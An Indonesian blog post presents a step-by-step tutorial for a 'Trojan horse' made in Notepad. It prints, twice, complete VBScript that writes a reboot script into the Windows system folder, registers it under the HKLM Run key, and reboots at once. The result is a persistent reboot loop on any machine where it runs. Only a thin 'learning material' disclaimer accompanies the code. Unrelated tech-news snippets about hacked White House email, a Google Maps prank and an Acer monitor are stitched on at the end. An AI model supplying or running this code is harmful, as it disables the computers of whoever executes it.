Virus tipe ini bekerja sangat keras berbeda dengan worm yang memperbanyak dirinya dan merusak file file lu dan merubah extensi bahkan ukuran file , ini juga bisa membuat aktivitas komputer menjadi overprocces seperti di postingan gue sebelumnya " Cara Membuat Virus Komputer Dasar Dengan Notepad ".
Seperti posting saya sebelumnya sebenarnya itu belum tepat untuk dikatakan virus karena itu kita hanya membuat sebuah program code berbasis vbs atau bat untuk mengekseskusi file tertentu dengan bahasa pemrograman yang dimengerti komputer dan setelah berbacot bacot mari ikut tips membuat virus trojan berikut
1. Buka Notepad lu > All Program > Notepad
2. Copy Paste Script Berijut ini ke Notepad Lu tadi
set FSobj=CreateObject(“Scripting.FileSystemObject”)
set sysDir = FSobj.GetSpecialFolder(1)
createRegKey “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB”,sysDir&”\dlRB.vbs”
sub createRegKey(regKey,regVal)
set regEdit = CreateObject(“WScript.Shell”)
regEdit.RegWrite regKey,regVal
end sub
set generateCopy=FSobj.CreateTextFile(sysDir+”\dlRB.vbs”)
generateCopy.close
set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),”"”")
set procreateCopy=FSobj.OpenTextFile(sysDir+”\dlRB.vbs”,2)
procreateCopy.write fixedCode
procreateCopy.close
rebootSystem()
function setFile()
fileData=”rem – ^dlRB^ by D.L.” &vbcrlf& _
“strComputer = ^.^ ” &vbcrlf& _
“Set objWMIService = GetObject(^winmgmts:^ _ ” &vbcrlf& _
“& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)” &vbcrlf& _
“Set colOperatingSystems = objWMIService.ExecQuery _ ” &vbcrlf& _
“(^Select * from Win32_OperatingSystem^)” &vbcrlf& _
“For Each objOperatingSystem in colOperatingSystems” &vbcrlf& _
“ObjOperatingSystem.Reboot()” &vbcrlf& _
“Next”
end function
function rebootSystem()
strComputer = “.”
Set objWMIService = GetObject(“winmgmts:” _
& “{impersonationLevel=impersonate,(Shutdown)}!\\” & strComputer & “\root\cimv2″)
Set colOperatingSystems = objWMIService.ExecQuery _
(“Select * from Win32_OperatingSystem”)
For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function
3. Dipikir secara logika ini adalah Coding script untuk me-reebot komputer set sysDir = FSobj.GetSpecialFolder(1)
createRegKey “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB”,sysDir&”\dlRB.vbs”
sub createRegKey(regKey,regVal)
set regEdit = CreateObject(“WScript.Shell”)
regEdit.RegWrite regKey,regVal
end sub
set generateCopy=FSobj.CreateTextFile(sysDir+”\dlRB.vbs”)
generateCopy.close
set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),”"”")
set procreateCopy=FSobj.OpenTextFile(sysDir+”\dlRB.vbs”,2)
procreateCopy.write fixedCode
procreateCopy.close
rebootSystem()
function setFile()
fileData=”rem – ^dlRB^ by D.L.” &vbcrlf& _
“strComputer = ^.^ ” &vbcrlf& _
“Set objWMIService = GetObject(^winmgmts:^ _ ” &vbcrlf& _
“& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)” &vbcrlf& _
“Set colOperatingSystems = objWMIService.ExecQuery _ ” &vbcrlf& _
“(^Select * from Win32_OperatingSystem^)” &vbcrlf& _
“For Each objOperatingSystem in colOperatingSystems” &vbcrlf& _
“ObjOperatingSystem.Reboot()” &vbcrlf& _
“Next”
end function
function rebootSystem()
strComputer = “.”
Set objWMIService = GetObject(“winmgmts:” _
& “{impersonationLevel=impersonate,(Shutdown)}!\\” & strComputer & “\root\cimv2″)
Set colOperatingSystems = objWMIService.ExecQuery _
(“Select * from Win32_OperatingSystem”)
For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function
4. oke tanpa basa basi silahkan simpan dengan format .vbs contoh gantengers.vbs dan jangan lupa pilih all files
5. Virus/Script kode perintah akan berjalan kalo lu klik , dan kalau mau coba ya silahkan yang rusak punya elu bukan gue :v
Peringatan Keras "Ini Hanyalah Sebuah Materi Pembelajaran dan jika terjadi kerusakan Sistem Perangkat Lunak Yang mengatasnamakan Blog Gantengers kami tidak akan bertanggung jawab Semua ditanggung oleh pengguna Kode Diatas dan ini hanya untuk bahan Pembelajaran bukan ditujukan untuk merusak dan dosa ditanggung pengguna"
Sekian Tutorial Cara Membuat Virus Trojan Horse Semoga bermanfaat jika ada kesalahan dalam postingan ini alangkah baiknya lu memberi tahu admin disini atau dengan berkomentar di artikel ini terima kasih atas partisipasinya .
sumber :http://www.gantengers.web.id/2014/09/cara-membuat-virus-trojan-horse.html
Hacker
asal Rusia dikabarkan telah menyusup ke akun email petinggi Negara
Amerika, yakni Barack Obama. Hacker dari Rusia tersebut dikabarkan telah
berhasil meretas beberapa surat email Barack Obama. Para hacker
tersebut memang tidak berhasil membobol akun email pribadi dari Barack
Obama. Namun mereka memperoleh akses ke email beberapa orang yang
bekerja di Gedung Putih. Dan dari sinilah mereka pun bisa melihat
beberapa isi surat email yang dikirim oleh Barack Obama. Terlebih
orang-orang tersebut dikabarkan kerap melakukan komunikasi secara
reguler dengan Obama.
Ada
yang aneh dalam tampilan Google Maps baru-baru ini. Hal tersebut adalah
adanya foto landmark pada aplikasi Google Maps yang memperlihakan
gambar robot Android yang sedang mengencingi Apple. Gambar landmark
tersebut muncul pada titik lokasi di daerah Pakistan. Setelah
dikonfirmasi ternyata hal tersebut bukan tindakan dari Google, melainkan
dari salah satu pengguna konten Google Maps. Atsa adanya kejadian
tersebut, pihak Google meminta maaf kepada pihak Apple.
Acer
baru-baru ini telah memproduksi sebuah monitor cangih yang diberi nama
dengan XR341CKA. Monitor dengan layar lengkung sebelumnya memang pernah
dirilis oleh beberapa vendor seperti Samsung dan LG. Namun monitor
terbaru dari Acer tersebut disebutkan memiliki keunggulan dibandingkan
monitor lainnya, yakni monitor tersebut diklaim sebagai monitor berlayar
melengkung pertama dunia yang hadir dengan teknologi NVIDIA G-Sync.
